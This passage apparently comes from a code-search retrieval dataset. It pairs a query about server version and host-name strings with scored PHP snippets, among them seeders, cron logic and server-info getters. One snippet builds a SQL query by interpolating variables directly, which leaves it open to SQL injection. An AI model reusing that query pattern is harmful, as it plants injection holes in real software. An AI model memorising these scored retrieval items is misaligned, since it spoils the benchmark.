'categoria_servico' => '1',\n 'imagem' => 'img/Casa07/figura01.JPG',\n 'imovel_tipo_id' => '1',\n 'usuario_id' => 2\n ],\n [\n 'nome' => 'Jundiaí Industrial',\n 'descricao' => 'Mansão Incrivel',\n 'valor' => '1800.00',\n 'qtd_dormitorio' => '4',\n 'qtd_banheiro' => '2',\n 'qtd_cozinha' => '1',\n 'qtd_garagem' => '2',\n 'qtd_visualicoes' => '0',\n 'categoria_servico' => '2',\n 'imagem' => 'img/Casa06/figura01.JPG',\n 'imovel_tipo_id' => '3',\n 'usuario_id' => 1\n ],\n ];\n\n DB::table('imoveis')->insert($imoveis);\n $enderecosImoveis = [];\n // salva os dados da vinculação do endereco com o imóvel\n for ($i = 1; $i <= 7; $i ++) {\n $enderecosImoveis[] = [\n 'imovel_id' => $i,\n 'endereco_id' => 7\n ];\n }\n\n DB::table('imoveis_enderecos')->insert($enderecosImoveis);\n }", "title": "" }, { "docid": "512546673ba4cdeeaf4d9918668111ef", "score": "0.49193043", "text": "function estadosEcidades()\r\n {\r\n \r\n \t$this->selecao = $this->conn->query(\"SELECT * FROM preciso WHERE preciso_nome like'%$this->encontre%' and cidade ='$this->cidade' and estado ='$this->estado'\")or die(\"erro\");\r\n\t \r\n $this->resultadPesquisa();\r\n\r\n \r\n }", "title": "" }, { "docid": "c5e28a5b69d363ae36abd0102079559d", "score": "0.4909807", "text": "public function setNrccuaCronSchedule(){\n\n\t\t$time_now = Carbon::now()->toTimeString();\n\t\t$check = false;\n\t\tif ($time_now >= \"00:00:01\" && $time_now <= \"11:00:00\") {\n\t\t\t$check = true;\n\t\t}\n\n\t\tif (!$check) {\n\t\t\treturn \"not now\";\n\t\t}\n\n\t\t$day_of_week = Carbon::now()->format('l');\n\t\t\n\t\t$qry = NrccuaCronSchedule::where('day', $day_of_week)->get();\n\n\t\t$today = Carbon::today()->toDateString();\n\n\t\t$count = DB::connection('rds1')->select(\"select\n\t\t\t\t\t\t\t\t\t\t\t\t\tcount(`rsm`.`id`) as cnt\n\t\t\t\t\t\t\t\t\t\t\t\tfrom\n\t\t\t\t\t\t\t\t\t\t\t\t\t`revenue_schools_matching` as `rsm`\n\t\t\t\t\t\t\t\t\t\t\t\tinner join `distribution_clients` as `dc` on `dc`.`college_id` = `rsm`.`college_id`\n\t\t\t\t\t\t\t\t\t\t\t\tand `dc`.`active` = 1\n\t\t\t\t\t\t\t\t\t\t\t\tand `dc`.`ro_id` = 1\n\t\t\t\t\t\t\t\t\t\t\t\tjoin `users` as `u` on `u`.`id` = `rsm`.`user_id`\n\t\t\t\t\t\t\t\t\t\t\t\tleft join `nrccua_users` as `nu` on `nu`.`user_id` = `u`.`id`\n\t\t\t\t\t\t\t\t\t\t\t\twhere\n\t\t\t\t\t\t\t\t\t\t\t\t\t`u`.`email` NOT LIKE '%test%'\n\t\t\t\t\t\t\t\t\t\t\t\tand `u`.`fname` NOT LIKE '%test%'\n\t\t\t\t\t\t\t\t\t\t\t\tand `u`.`lname` NOT LIKE '%test%'\n\t\t\t\t\t\t\t\t\t\t\t\tand `u`.utm_source != 'seo' and `u`.utm_source != '' and u.utm_source is not null\n\t\t\t\t\t\t\t\t\t\t\t\tand `inquiry_date` <='\".$today .\"'\n\t\t\t\t\t\t\t\t\t\t\t\tand `is_uploaded` = 0\n\t\t\t\t\t\t\t\t\t\t\t\tand `rsm`.`utm_source` is not null\n\t\t\t\t\t\t\t\t\t\t\t\tand `inquiry_date` > date_sub(current_date , interval 150 day)\n\t\t\t\t\t\t\t\t\t\t\t\tand not exists(\n\t\t\t\t\t\t\t\t\t\t\t\t\tselect\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t*\n\t\t\t\t\t\t\t\t\t\t\t\t\tfrom\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdistribution_responses dr\n\t\t\t\t\t\t\t\t\t\t\t\t\tjoin distribution_clients dc on dr.dc_id = dc.id\n\t\t\t\t\t\t\t\t\t\t\t\t\tjoin colleges c on dc.college_id = c.id\n\t\t\t\t\t\t\t\t\t\t\t\t\twhere\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdc.ro_id = 1\n\t\t\t\t\t\t\t\t\t\t\t\t\tand dr.user_id = rsm.user_id\n\t\t\t\t\t\t\t\t\t\t\t\t\tand c.id = rsm.college_id\n\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\tand(\n\t\t\t\t\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tu.hs_grad_year is not null\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tAND u.hs_grad_year BETWEEN 2018\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tand 2022\n\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\tOR(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tnu.grad_year is not null\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tand nu.grad_year BETWEEN 2018\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tand 2022\n\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t)\");\n\n\t\t$count = $count[0]->cnt;\n\n\n\t\tforeach ($qry as $key) {\n\t\t\t$avg = ceil(($key->probabality * $count ) /20);\n\t\t\tif ($avg <= 25) {\n\t\t\t\t$min = $avg - 1;\n\t\t\t\t$max = $avg + 1;\n\n\t\t\t}elseif ($avg > 25 && $avg < 43) {\n\t\t\t\t$min = $avg - 2;\n\t\t\t\t$max = $avg + 2;\n\n\t\t\t}elseif ($avg > 43) {\n\t\t\t\t$min = $avg - 2;\n\t\t\t\t$max = $avg + 2;\n\t\t\t}\n\n\t\t\tif ($min < 0) {\n\t\t\t\t$min = 0;\n\t\t\t}\n\t\t\tif ($max == 1) {\n\t\t\t\t$max = 2;\n\t\t\t}\n\t\t\t\n\t\t\t$key->min = $min;\n\t\t\t$key->max = $max;\n\n\t\t\t$key->save();\n\t\t}\n\t}", "title": "" }, { "docid": "1b31490fa3f8811414c82b602e68b260", "score": "0.48945275", "text": "function afaire_ticket_existe() {\n\t$existe = false;\n\t// Test si la table existe\n\t$trouver_table = charger_fonction('trouver_table','base');\n\tif ($trouver_table('spip_tickets')){\n\t\t// Nombre total de tickets\n\t\tif (sql_countsel('spip_tickets'))\n\t\t\t$existe = true;\n\t}\n\treturn $existe ? ' ':'';\n}", "title": "" } ]
292235ee1842b7fa4924baa8e8e138e0
String containing the server version and virtual host name which are added to servergenerated pages, if enabled.
[ { "docid": "f31ae498dbca2fc54dd12376b8a97b07", "score": "0.0", "text": "public function getServerSignature()\n\t{\n\t\treturn $this->string('SERVER_SIGNATURE');\n\t}", "title": "" } ]
[ { "docid": "50130528dadb59e6ac0953472db211c4", "score": "0.67119914", "text": "public function serverVersion(): string;", "title": "" }, { "docid": "87b62b50d9d1544c536c95130d33985c", "score": "0.6575831", "text": "public function getServerVersion()\n {\n $this->logDeprecation();\n return $this->link->server_info;\n }", "title": "" }, { "docid": "8d4d542df97faf19327ac63c992d0245", "score": "0.65191317", "text": "public function getServerVersion(): string\n {\n return 'FMS Data API v1';\n }", "title": "" }, { "docid": "ddf3e186f2e0d1fc5876eb1a811a339e", "score": "0.65137255", "text": "public function getServerVersion()\r\n {\r\n return $this->getVersion(\"server\");\r\n }", "title": "" }, { "docid": "b691bb5792609486c4d4c01555ff7922", "score": "0.64525425", "text": "protected static function serverHost(): string\n {\n return static::$serverHost;\n }", "title": "" }, { "docid": "49c17dc64d14c9255d4eea9ca16768c3", "score": "0.6392764", "text": "public function createServerInformationLink(): string\n {\n if ($this->request === null) {\n return '';\n }\n\n\n $serverSoftware = $this->request->getServerParams()['SERVER_SOFTWARE'] ?? null;\n if ($serverSoftware === null) {\n return '';\n }\n\n $serverUrls = [\n 'http://httpd.apache.org/' => ['apache'],\n 'http://nginx.org/' => ['nginx'],\n 'http://lighttpd.net/' => ['lighttpd'],\n 'http://gwan.com/' => ['g-wan', 'gwan'],\n 'http://iis.net/' => ['iis', 'services'],\n 'https://secure.php.net/manual/en/features.commandline.webserver.php' => ['development'],\n ];\n\n foreach ($serverUrls as $url => $keywords) {\n foreach ($keywords as $keyword) {\n if (stripos($serverSoftware, $keyword) !== false) {\n return '<a href=\"' . $url . '\" target=\"_blank\">' . $this->htmlEncode($serverSoftware) . '</a>';\n }\n }\n }\n return '';\n }", "title": "" }, { "docid": "0c849d3cfc560a95c9a09853323d3527", "score": "0.6384765", "text": "public function getServerVersion(){\n return $this->client->getServerVersion();\n }", "title": "" }, { "docid": "355fa3723c1771ee6efcdd722b48d3bd", "score": "0.6357594", "text": "protected function get_server(): string\n {\n if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {\n $url = 'https://';\n } else {\n $url = 'http://';\n }\n // Append the host(domain name, ip) to the URL.\n $url .= $_SERVER['HTTP_HOST'];\n\n // Append the requested resource location to the URL\n /* $url .= $_SERVER['REQUEST_URI']; */\n\n return $url . '/';\n }", "title": "" }, { "docid": "95bebd2e3b3b68b26d860502e6b4d226", "score": "0.6303095", "text": "public function getServerName()\n\t{\n\t\treturn $this->string('SERVER_NAME');\n\t}", "title": "" }, { "docid": "ed14d8a04ead27048a6c37ef7469406b", "score": "0.6263565", "text": "function serverInfo(){\r\n\t\t\t$indicesServer = array('PHP_SELF', \r\n\t\t\t\t'argv', \r\n\t\t\t\t'argc', \r\n\t\t\t\t'GATEWAY_INTERFACE', \r\n\t\t\t\t'SERVER_ADDR', \r\n\t\t\t\t'SERVER_NAME', \r\n\t\t\t\t'SERVER_SOFTWARE', \r\n\t\t\t\t'SERVER_PROTOCOL', \r\n\t\t\t\t'REQUEST_METHOD', \r\n\t\t\t\t'REQUEST_TIME', \r\n\t\t\t\t'REQUEST_TIME_FLOAT', \r\n\t\t\t\t'QUERY_STRING', \r\n\t\t\t\t'DOCUMENT_ROOT', \r\n\t\t\t\t'HTTP_ACCEPT', \r\n\t\t\t\t'HTTP_ACCEPT_CHARSET', \r\n\t\t\t\t'HTTP_ACCEPT_ENCODING', \r\n\t\t\t\t'HTTP_ACCEPT_LANGUAGE', \r\n\t\t\t\t'HTTP_CONNECTION', \r\n\t\t\t\t'HTTP_HOST', \r\n\t\t\t\t'HTTP_REFERER', \r\n\t\t\t\t'HTTP_USER_AGENT', \r\n\t\t\t\t'HTTPS', \r\n\t\t\t\t'REMOTE_ADDR', \r\n\t\t\t\t'REMOTE_HOST', \r\n\t\t\t\t'REMOTE_PORT', \r\n\t\t\t\t'REMOTE_USER', \r\n\t\t\t\t'REDIRECT_REMOTE_USER', \r\n\t\t\t\t'SCRIPT_FILENAME', \r\n\t\t\t\t'SERVER_ADMIN', \r\n\t\t\t\t'SERVER_PORT', \r\n\t\t\t\t'SERVER_SIGNATURE', \r\n\t\t\t\t'PATH_TRANSLATED', \r\n\t\t\t\t'SCRIPT_NAME', \r\n\t\t\t\t'REQUEST_URI', \r\n\t\t\t\t'PHP_AUTH_DIGEST', \r\n\t\t\t\t'PHP_AUTH_USER', \r\n\t\t\t\t'PHP_AUTH_PW', \r\n\t\t\t\t'AUTH_TYPE', \r\n\t\t\t\t'PATH_INFO', \r\n\t\t\t\t'ORIG_PATH_INFO') ; \r\n\r\n\t\t\t$html = \"\";\r\n\t\t\t$html .= '<table cellpadding=\"10\">' ; \r\n\t\t\tforeach ($indicesServer as $arg) { \r\n\t\t\t\tif (isset($_SERVER[$arg])) { \r\n\t\t\t\t\t$html .= '<tr><td>'.$arg.'</td><td>' . $_SERVER[$arg] . '</td></tr>' ; \r\n\t\t\t\t} \r\n\t\t\t\telse { \r\n\t\t\t\t\t$html .= '<tr><td>'.$arg.'</td><td>-</td></tr>' ; \r\n\t\t\t\t} \r\n\t\t\t} \r\n\t\t\t$html .= '</table>' ;\r\n\t\t\techo $html;\r\n\t\t}", "title": "" }, { "docid": "c440fc027100bd458d35bd1f0ea316d6", "score": "0.6257577", "text": "function get_site_version()\n{\n return 'v=0.1';\n}", "title": "" }, { "docid": "dfb17602d8db8a72054d19fbcdadf455", "score": "0.6216841", "text": "public static function getServerSignature() {\n return self::getSoftwareName() . ' / PHP/' . phpversion();\n }", "title": "" }, { "docid": "2c164dba7f5b6a74c59113b4c03fee57", "score": "0.62035227", "text": "public function createServerInformationLink()\n {\n $serverUrls = [\n 'https://httpd.apache.org/' => ['apache'],\n 'https://nginx.org/' => ['nginx'],\n 'https://www.lighttpd.net/' => ['lighttpd'],\n 'http://gwan.com/' => ['g-wan', 'gwan'],\n 'https://www.iis.net/' => ['iis', 'services'],\n 'https://www.php.net/manual/en/features.commandline.webserver.php' => ['development'],\n ];\n if (isset($_SERVER['SERVER_SOFTWARE'])) {\n foreach ($serverUrls as $url => $keywords) {\n foreach ($keywords as $keyword) {\n if (stripos($_SERVER['SERVER_SOFTWARE'], $keyword) !== false) {\n return '<a href=\"' . $url . '\" target=\"_blank\">' . $this->htmlEncode($_SERVER['SERVER_SOFTWARE']) . '</a>';\n }\n }\n }\n }\n\n return '';\n }", "title": "" }, { "docid": "70554f3e856149ee5fdfa04b1e24d702", "score": "0.6198229", "text": "public function getServerVersion()\n {\n $this->_connect();\n $version = $this->_connection->server_version;\n $major = (int) ($version / 10000);\n $minor = (int) ($version % 10000 / 100);\n $revision = (int) ($version % 100);\n return $major . '.' . $minor . '.' . $revision;\n }", "title": "" }, { "docid": "0225d543b8936f54e2b19215a4e9391d", "score": "0.6181609", "text": "public function getServerSignature()\n {\n\n // try to load the OS identifier\n list($os, ) = sscanf(strtolower(php_uname('s')), '%s %s');\n\n // check if we've a file with the actual version number\n if (file_exists($filename = $this->getConfDir('/.release-version'))) {\n $version = file_get_contents($filename);\n } else {\n $version = 'dev-' . gethostname();\n }\n\n // prepare and return the server signature\n return sprintf('appserver/%s (%s) PHP/%s', $version, $os, PHP_VERSION);\n }", "title": "" }, { "docid": "45e12b00ca2483078dd8c0881dfd27e5", "score": "0.6158485", "text": "abstract public function getServerVersion();", "title": "" }, { "docid": "bf312fb7881eaeec9a596cddac3dfa50", "score": "0.61572254", "text": "public function getServerInfo() {\n\t\t$gmp\t= extension_loaded('gmp') ? 'enabled' : 'missing';\n\t\t$bcmath = extension_loaded('bcmath') ? 'enabled' : 'missing';\n\t\t$info = \"<pre><strong>Server Information:</strong>\\n\" .\n\t\t\t\t\t\"PHP: \" . phpversion() . \"\\n\" .\n\t\t\t\t\t\"PHP-GMP: \" . $gmp . \"\\n\" .\n\t\t\t\t\t\"PHP-BCMATH: \" . $bcmath . \"\\n\" .\n\t\t\t\t\t\"OpenCart: \" . VERSION . \"\\n\" .\n\t\t\t\t\t\"Blockonomics Plugin: \" . $this->version . \"\\n\" .\n\t\t\t\t\t\"Blockonomics Lib: v2.2.20\\n\";\n\t\treturn $info;\n\t}", "title": "" }, { "docid": "e9ed35f95c8708cf2825aa4f184dc343", "score": "0.61331576", "text": "static function WebServer():string\n\t{\n\t\t//\t...\n\t\tstatic $_software;\n\t\tif( $_software ){\n\t\t\treturn $_software;\n\t\t}\n\n\t\t//\t...\n\t\t$_software = strtolower($_SERVER['SERVER_SOFTWARE'] ?? '');\n\n\t\t//\t...\n\t\tforeach( ['php','apache','nginx'] as $key ){\n\t\t\tif( strpos($_software, $key) === 0 ){\n\t\t\t\t$_software = $key;\n\t\t\t}\n\t\t}\n\n\t\t//\t...\n\t\treturn $_software;\n\t}", "title": "" }, { "docid": "edb55381c4c229b2e59118e977dcf463", "score": "0.6119781", "text": "public static function version(){\r\n return self::$version.((self::in_development())? \"-\".time():\"\");\r\n }", "title": "" }, { "docid": "6b78855a9f59e8bbb1fd2e29d0e7111f", "score": "0.6097186", "text": "public function getServerSoftware()\n\t{\n\t\treturn $this->string('SERVER_SOFTWARE');\n\t}", "title": "" }, { "docid": "ba3f47e1fba486ab8e0d3b9c77e91563", "score": "0.60949945", "text": "public function getServerName() {\n\t\tif( isset($_SERVER['HTTP_HOST'])) {\n\t\t\treturn $_SERVER['HTTP_HOST'];\n\t\t}\n\t\treturn 'Unknown'; // probably testing\n\t}", "title": "" }, { "docid": "710630a9b7476c075d1b9a95cf59a906", "score": "0.60709894", "text": "public function get_server_version() {\n\n\t//--\n\tif((string)trim((string)$this->srvver) == '') {\n\t\t//--\n\t\t$arr_build_info = $this->command(['buildinfo' => true]);\n\t\t//--\n\t\tif(is_array($arr_build_info)) {\n\t\t\tif(is_array($arr_build_info[0])) {\n\t\t\t\t$this->srvver = (string) trim((string)$arr_build_info[0]['version']);\n\t\t\t} //end if\n\t\t} //end if\n\t\t//--\n\t\t$arr_build_info = null;\n\t\t//--\n\t} //end if\n\t//--\n\tif((string)trim((string)$this->srvver) == '') {\n\t\t$this->srvver = '0.0'; // avoid requery\n\t} //end if\n\t//--\n\n\t//--\n\treturn (string) $this->srvver;\n\t//--\n\n}", "title": "" }, { "docid": "1a878948e0fae9ca4a7ed1d590cdba4f", "score": "0.6070375", "text": "public function get_http_server_name(): string\n {\n return $this->http_server_name;\n }", "title": "" }, { "docid": "6b39cd67442e609d878e62669712aaa5", "score": "0.603893", "text": "public function getServerUrl()\n {\n \ttry \n \t{\n \treturn \"//\" . Mage::helper('shoptimally_core/config')->getServerUrl();\n \t}\n catch (Exception $e)\n {\n \treturn \"error\";\n }\n }", "title": "" }, { "docid": "f134a333a2930b6014fc32e09493d906", "score": "0.6037832", "text": "public function getTheServerName()\n\t{\n\t\treturn $this->header_info[2];\n\t}", "title": "" }, { "docid": "59774950aa4d923bac4457080b55f8dc", "score": "0.59978473", "text": "public function version()\n {\n return (string) ($this->connect->server_version ?? 0);\n }", "title": "" }, { "docid": "5529a3fd8b008effe0077e0a3834e7ba", "score": "0.5989895", "text": "function serverInfo()\n{\n $server = explode(' ', $_SERVER['SERVER_SOFTWARE']);\n $openSsl = isset($server[2]) ? $server[2] : null;\n\n return [\n 'httpdVer' => $server[0],\n 'openSsl' => $openSsl,\n 'phpVer' => getPhpVersion()['currentVersion'],\n 'xDebug' => phpversion('xdebug'),\n 'docRoot' => $_SERVER['DOCUMENT_ROOT'],\n 'serverName' => $_SERVER['HTTP_HOST']\n ];\n}", "title": "" }, { "docid": "6b3be20108584bb7f54104a02c77c5c4", "score": "0.5986008", "text": "public function getServerAdmin()\n\t{\n\t\treturn $this->string('SERVER_ADMIN');\n\t}", "title": "" }, { "docid": "cdd3557c0c5984ebe55e0faf97b3f909", "score": "0.59048736", "text": "public function getServerName()\n {\n $serverName = '';\n if (isset($_SERVER['HTTP_HOST']) && !empty($_SERVER['HTTP_HOST'])) {\n $serverName = Convert::raw2xml($_SERVER['HTTP_HOST']); // \"Fixes\" #1 (what?)\n } else if (!empty($_SERVER['SERVER_NAME'])) {\n $server = Convert::raw2xml($_SERVER); // \"Fixes\" #1\n $serverName = $server['SERVER_NAME'];\n }\n\n // CI support\n if (getenv('TRAVIS')) {\n $serverName = getenv('CLOUDFLARE_DUMMY_SITE');\n }\n\n // Remove protocols, etc\n $replaceWith = array(\n 'http://' => '',\n 'https://' => ''\n );\n if (!isset($_SERVER['HTTP_HOST'])) { $replaceWith['www.']=''; } // hack!\n $serverName = str_replace(array_keys($replaceWith), array_values($replaceWith), $serverName);\n\n // Allow extensions to modify or replace the server name if required\n $this->extend('updateCloudFlareServerName', $serverName);\n\n return $serverName;\n }", "title": "" }, { "docid": "08904f736b755ba2fe30e8b2af06845a", "score": "0.59006095", "text": "public function getVersion()\n {\n return \"<div class=\\\"version\\\">Phalcon Framework <a target=\\\"_new\\\" href=\\\"http://docs.phalconphp.com/en/\" . $this->getMajorVersion() . \"/\\\">\" . \\Phalcon\\Version::get() . \"</a></div>\";\n }", "title": "" }, { "docid": "b6ef1ebe65da7bf508ce2570453354b1", "score": "0.58913845", "text": "public static function welcome() {\n $out = \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Server Name:</span></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainFirst\\\">\".(!empty(self::$data['virtualserver_name']) ? self::$data['virtualserver_name'] : '-').\"<br /><br /></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Server IP/DNS:</span></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainFirst\\\">\".(self::tsdns(self::$data['sql']['host_ip_dns']) ? self::$data['sql']['host_ip_dns'] : self::$data['sql']['host_ip_dns'].\":\".self::$data['sql']['server_port']).\"<br /><br /></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Server Version:</span></td></tr>\\n\";\n\n if(array_key_exists('virtualserver_platform', self::$data)) {\n $os = '<img src=\"../inc/images/'.(self::$data['virtualserver_platform'] == 'Linux' ? 'linux' : 'windows').'_os.png\" alt=\"\" title=\"Server OS\" class=\"icon\" />'; //Server OS\n }\n\n $out .= array_key_exists('virtualserver_version', self::$data) && array_key_exists('virtualserver_platform', self::$data) ? \"<tr><td class=\\\"contentMainFirst\\\">\".$os.\" \".self::$data['virtualserver_version'].\"<br /><br /></td></tr>\\n\" : '<tr><td class=\"contentMainFirst\">-</td></tr>';\n $out .= \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Server Uptime:</span></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainFirst\\\">\".(array_key_exists('virtualserver_uptime', self::$data) ? self::time_convert(self::$data['virtualserver_uptime']) : '-').\"<br /><br /></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Channels:</span></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainFirst\\\">\".(!empty(self::$data['virtualserver_channelsonline']) ? self::$data['virtualserver_channelsonline'] : '-').\"<br /><br /></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Users:</span></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainFirst\\\">\".(array_key_exists('players', self::$data) ? count(self::$data['players']) : '-').\"<br /><br /></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainSecond\\\"><span class=\\\"fontBold\\\">Welcome Message:</span></td></tr>\\n\";\n $out .= \"<tr><td class=\\\"contentMainFirst\\\">\".(!empty(self::$data['virtualserver_welcomemessage']) ? bbcode::parse_ts3(self::rep(self::$data['virtualserver_welcomemessage'])) : '-').\"<br /><br /></td></tr>\";\n return $out;\n }", "title": "" }, { "docid": "2657df13ed9541c9daf6e1778386d170", "score": "0.58853227", "text": "public function getServerPath() : string\n {\n global $server;\n return $server['host_address'].$this->folder.'/'.$this->data['server_name']; \n }", "title": "" }, { "docid": "32f797555187b602d7b3b30f42b2152f", "score": "0.5878307", "text": "private function getAppVersion()\n {\n return $_SERVER['HTTP_APPVERSION'];\n }", "title": "" }, { "docid": "489c308ef53abf4348a48dd966cdf40b", "score": "0.58495843", "text": "public function getServerUrl()\n {\n return $this->server_url;\n }", "title": "" }, { "docid": "16820712a3c1f1e7c4c49c1e0f962db7", "score": "0.58322006", "text": "public function version()\n {\n return 'Vinala v'.$this->framework->version.(!empty($this->framework->tag) ? ' '.$this->framework->tag : '').' ('.$this->framework->stat.') PHP Framework';\n }", "title": "" }, { "docid": "f34d8365f0d5191d4a18172ffafb16c2", "score": "0.5827939", "text": "public static function getServerName() {\r\n return $_SERVER['SERVER_NAME'];\r\n }", "title": "" }, { "docid": "13ee34fef068b9ec4ab8e94671ffa786", "score": "0.5817591", "text": "public function getServerSoftware(): string\n {\n return \"Forge\";\n }", "title": "" }, { "docid": "e0b3895a1119f72ab219a8450bb1afa7", "score": "0.5814851", "text": "public static function getTwigtHost(){\r\n return (substr(self::$host, -1) == \"/\")? substr(self::$host, 0, -1) : self::$host;\r\n }", "title": "" }, { "docid": "c318d0f7dd0537173c3b7c162fe981bf", "score": "0.5814311", "text": "public function getServerName () {\n\t\t$data = $this->getServerData();\n\t\treturn $data['hostname'];\n\t}", "title": "" }, { "docid": "35296b140a945e5566dc9bd6009b0d46", "score": "0.57973474", "text": "public function getSiteVersion() {\n return $this->settings['version'];\n }", "title": "" }, { "docid": "4d9724edcdeaa31a5309acc1a88733bf", "score": "0.579017", "text": "function serverPHPVersion() {\n\t\treturn phpversion();\n\t}", "title": "" }, { "docid": "13c4f98b2cf74e7e4ca46b267bc57879", "score": "0.57787937", "text": "public function getLongVersion()\n {\n return '';\n }", "title": "" }, { "docid": "92c5e87e73b0320b039cc3b2783952c0", "score": "0.5768645", "text": "function theme_site_info() {\n return 'Powered by E4K Digital Agency';\n }", "title": "" }, { "docid": "4ae67dd438e69f45f932543121f79608", "score": "0.5760493", "text": "public function server_info() {\n return $this->client->getServerInfo();\n }", "title": "" }, { "docid": "afd04ce3da69a8c8eac60ec46057f99c", "score": "0.57568717", "text": "public static function get_version(): string {\n\t\treturn self::VERSION;\n\t}", "title": "" }, { "docid": "b2b96478adce403340a40ce36440016e", "score": "0.5744343", "text": "public function getServerRev()\r\n {\r\n return $this->getRev(\"server\");\r\n }", "title": "" }, { "docid": "bc9370053ee9b4929e1d0d2e3b96fd6e", "score": "0.5741392", "text": "public function getServerInfo()\n {\n global $drivers, $connection;\n\n $server = \\adminer\\lang('%s version: %s. PHP extension %s.', $drivers[DRIVER],\n \"<b>\" . \\adminer\\h($connection->server_info) . \"</b>\", \"<b>$connection->extension</b>\");\n $user = \\adminer\\lang('Logged as: %s.', \"<b>\" . \\adminer\\h(\\adminer\\logged_user()) . \"</b>\");\n\n $sql_actions = [\n 'server-command' => \\adminer\\lang('SQL command'),\n 'server-import' => \\adminer\\lang('Import'),\n 'server-export' => \\adminer\\lang('Export'),\n ];\n\n // Content from the connect_error() function in connect.inc.php\n $menu_actions = [\n 'databases' => \\adminer\\lang('Databases'),\n ];\n // if(\\adminer\\support('database'))\n // {\n // $menu_actions['databases'] = \\adminer\\lang('Databases');\n // }\n if(\\adminer\\support('privileges'))\n {\n $menu_actions['privileges'] = \\adminer\\lang('Privileges');\n }\n if(\\adminer\\support('processlist'))\n {\n $menu_actions['processes'] = \\adminer\\lang('Process list');\n }\n if(\\adminer\\support('variables'))\n {\n $menu_actions['variables'] = \\adminer\\lang('Variables');\n }\n if(\\adminer\\support('status'))\n {\n $menu_actions['status'] = \\adminer\\lang('Status');\n }\n\n // Get the database list\n $databases = $this->databases();\n\n return \\compact('server', 'user', 'databases', 'sql_actions', 'menu_actions');\n }", "title": "" }, { "docid": "3f7e2487ba6333cdd4716e6433ddce9c", "score": "0.5738833", "text": "function get_site_config()\n\t{\n\t\tif (isset($this->siteconfig)) {\n\t\t\treturn $this->siteconfig;\n\t\t}\n\n\t\t// This is not 100% accurate, so it needs to be improved a bit.\n\t\t$result = \"sites-enabled\" . DIRECTORY_SEPARATOR . \"zarafa-webapp\";\n\n\t\tob_start();\n\t\tphpinfo(INFO_MODULES);\n\t\t$phpinfo = ob_get_contents();\n\t\tob_end_clean();\n\n\t\tpreg_match(\"/<td class=\\\"e\\\">[\\s]*Server Root[\\s]*<\\/td>[\\s]*<td class=\\\"v\\\">[\\s]*(.*)[\\s]*<\\/td>/i\", $phpinfo, $matches);\n\t\tif (isset($matches[1])){\n\t\t\t$result = trim($matches[1]) . DIRECTORY_SEPARATOR . $result;\n\t\t}\n\t\t$this->siteconfig = $result;\n\t\treturn $result;\n \t}", "title": "" }, { "docid": "75a5d5fd7262ecfc0ac9aa6daa33623c", "score": "0.5719488", "text": "public function frontend_output( ) {\n $output = '<!-- This site uses the Google Analytics by MonsterInsights plugin v ' . MONSTERINSIGHTS_VERSION .' - https://www.monsterinsights.com/ -->';\n $output .= '<!-- ' . esc_html__( \"You are currently in a preview window. MonsterInsights doesn't track preview window traffic to avoid false visit reports.\", 'google-analytics-for-wordpress' ) . ' -->';\n $output .= '<!-- / Google Analytics by MonsterInsights -->';\n return $output;\n }", "title": "" }, { "docid": "979869c435bde3e4a7edcd86490b4a3a", "score": "0.5706213", "text": "public function getHost(): string\n {\n return $this->getServer('SERVER_NAME');\n }", "title": "" }, { "docid": "287f87abe5ac21b97b78a503c5462a97", "score": "0.5681166", "text": "function site_name() {\n\treturn _e(Config::meta('sitename'));\n}", "title": "" }, { "docid": "a8262d7af3c9622a3ba8f0490f9ed7cc", "score": "0.5678241", "text": "public function get_version()\n {\n return '{wp-major}.{wp-minor}.{build}.{revision}';\n }", "title": "" }, { "docid": "bcd060fd18532038b818cdea77feac16", "score": "0.5666683", "text": "protected static function template_dev()\n {\n return\n '<html lang=\"en\">'\n . '<head>'\n . '<meta charset=\"UTF-8\" />'\n . '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />'\n . '${head}'\n . '</head>'\n . '<body>'\n . '<div id=\"${app_id}\"></div>'\n . '${body}'\n . '<script type=\"module\" src=\"${base_uri}/@vite/client\"></script>'\n . '<script type=\"module\" src=\"${base_uri}/${entry}\"></script>'\n . '</body>'\n . '</html>';\n }", "title": "" }, { "docid": "4350801aa2604130601fb223ce7cbf3c", "score": "0.56626713", "text": "public function getServerId(): string\n {\n return $this->serverId;\n }", "title": "" }, { "docid": "2e41805d098200697a1afa537a967239", "score": "0.56444615", "text": "public function get_static_version() {\n\t\treturn $this->static_version_file;\n\t}", "title": "" }, { "docid": "7ccb9e3147f27c2510f85cdfe46ed1ae", "score": "0.5629377", "text": "function nw_header_stats() {\n echo '\n\t<meta name=\"now-watching-version\" content=\"' . NOW_WATCHING_VERSION . '\" />\n\t';\n}", "title": "" }, { "docid": "e89783575b48f52692840e8ffbbd938f", "score": "0.5618793", "text": "public function getVersion() {\n\t\t/** @var string $result */\n\t\t$result = 